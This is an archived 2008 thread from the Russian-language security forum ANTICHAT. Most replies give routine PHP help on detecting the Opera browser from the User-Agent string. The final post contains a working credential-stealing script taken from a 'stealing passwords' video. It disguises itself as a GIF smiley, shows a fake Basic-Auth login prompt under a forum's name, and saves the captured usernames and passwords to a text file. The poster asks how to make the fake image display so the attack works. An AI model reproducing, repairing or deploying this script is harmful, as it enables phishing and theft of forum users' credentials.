ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

23.04.2008, 08:32
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
$_SERVER['HTTP_USER_AGENT'] - большими буквами. Или через get_browser()
Последний раз редактировалось krypt3r; 23.04.2008 в 08:49..
|
|
|

23.04.2008, 09:07
|
|
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
Провел на форуме: 849260
Репутация:
32
|
|
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
Последний раз редактировалось Хелпер; 23.04.2008 в 09:09..
|
|
|

23.04.2008, 09:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Вариантов куча
PHP код:
if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
echo "Это опера";
Можно другими функциями - ereg, preg_match, stristr...
|
|
|

23.04.2008, 09:31
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
Сообщение от Хелпер
Пасибо.
И еще вопрос.
PHP код:
<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
PHP код:
<?
$x = $_SERVER['HTTP_USER_AGENT'];
$y = 'Opera';
$check = strpos($x, $y);
if ($check === false)
{
echo 'Другой браузер<br>';
}
else
{
echo 'Опера';
}
?>
вот тут пофиг какая версия=)
и еще посмари переменную сервер много полезного увидишь)))
PHP код:
<?
echo '<pre>';
print_r ($_SERVER);
echo '</pre>';
?>
|
|
|

23.04.2008, 13:59
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru
|
|
|

23.04.2008, 14:02
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..
|
|
|

23.04.2008, 14:03
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
А с помощью PhP это некак нельзя сделать?
|
|
|

23.04.2008, 14:11
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
нет - потому что это никак не связано ...
|
|
|

23.04.2008, 18:45
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
А еще есть какие нибудь способов кроме таво?
|
|
|

23.04.2008, 21:06
|
|
Новичок
Регистрация: 21.04.2008
Сообщений: 4
Провел на форуме: 1977
Репутация:
0
|
|
Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
PHP код:
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image = ImageCreateFromGif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|